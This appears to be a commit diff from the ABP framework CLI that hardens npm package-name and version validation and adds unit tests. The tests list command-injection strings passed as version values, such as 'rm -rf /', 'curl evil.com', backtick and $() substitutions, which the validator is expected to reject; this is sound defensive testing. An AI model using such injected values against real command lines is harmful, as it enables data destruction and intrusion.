Browse Source

Tighten version regex, centralize package name validation, handle null, and add version tests

pull/25210/head
maliming 4 months ago
parent
commit
c8149d8397
No known key found for this signature in database GPG Key ID: A646B9CB645ECEA4
  1. 15
      framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs
  2. 9
      framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs
  3. 35
      framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs

15
framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs

@ -3,7 +3,6 @@ using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Logging.Abstractions;
@ -379,13 +378,17 @@ public class NpmPackagesUpdater : ITransientDependency
return abpPackages;
}
private static readonly Regex ValidNpmPackageNameRegex = new(
@"^@[a-zA-Z0-9][a-zA-Z0-9._-]*/[a-zA-Z0-9][a-zA-Z0-9._-]*$",
RegexOptions.Compiled);
public static bool IsValidNpmPackageName(string packageName)
{
return ValidNpmPackageNameRegex.IsMatch(packageName);
try
{
NpmHelper.EnsureSafePackageName(packageName);
return true;
}
catch
{
return false;
}
}
protected virtual async Task RunInstallLibsAsync(string fileDirectory)

9
framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs

@ -85,12 +85,12 @@ public class NpmHelper : ITransientDependency
RegexOptions.Compiled);
private static readonly Regex SafeVersionRegex = new(
@"^[a-zA-Z0-9._~^><=|\-+]+$",
@"^[a-zA-Z0-9._~^+\-]+$",
RegexOptions.Compiled);
public static void EnsureSafePackageName(string packageName)
{
if (!SafePackageNameRegex.IsMatch(packageName))
if (string.IsNullOrWhiteSpace(packageName) || !SafePackageNameRegex.IsMatch(packageName))
{
throw new CliUsageException($"Invalid npm package name detected: {SanitizeForLog(packageName)}");
}
@ -106,6 +106,11 @@ public class NpmHelper : ITransientDependency
public static string SanitizeForLog(string value)
{
if (value == null)
{
return "(null)";
}
return Regex.Replace(value, @"[\x00-\x1F\x7F]", "?");
}

35
framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs

@ -1,5 +1,6 @@
using Shouldly;
using Volo.Abp.Cli.ProjectModification;
using Volo.Abp.Cli.Utils;
using Xunit;
namespace Volo.Abp.Cli;
@ -22,8 +23,42 @@ public class NpmPackagesUpdater_Tests
[InlineData("@abp/ space", false)]
[InlineData("@abp/", false)]
[InlineData("@abp/ng core", false)]
[InlineData(null, false)]
[InlineData("", false)]
public void IsValidNpmPackageName(string packageName, bool expected)
{
NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected);
}
[Theory]
[InlineData("1.0.0", false)]
[InlineData("^8.0.0", false)]
[InlineData("~8.0.0", false)]
[InlineData("8.0.0-preview.1", false)]
[InlineData("8.0.0-preview20260401", false)]
[InlineData("8.0.0+build.123", false)]
[InlineData("latest", false)]
[InlineData("next", false)]
[InlineData(null, false)]
[InlineData("", false)]
[InlineData("1.0.0 && calc.exe", true)]
[InlineData("1.0.0; rm -rf /", true)]
[InlineData("1.0.0 | curl evil.com", true)]
[InlineData("1.0.0`whoami`", true)]
[InlineData("1.0.0$(id)", true)]
[InlineData("1.0.0\nnewline", true)]
[InlineData(">1.0.0", true)]
[InlineData("<2.0.0", true)]
[InlineData("1.0.0|2.0.0", true)]
public void EnsureSafeVersion(string version, bool shouldThrow)
{
if (shouldThrow)
{
Should.Throw<CliUsageException>(() => NpmHelper.EnsureSafeVersion(version));
}
else
{
Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version));
}
}
}

Loading…
Cancel
Save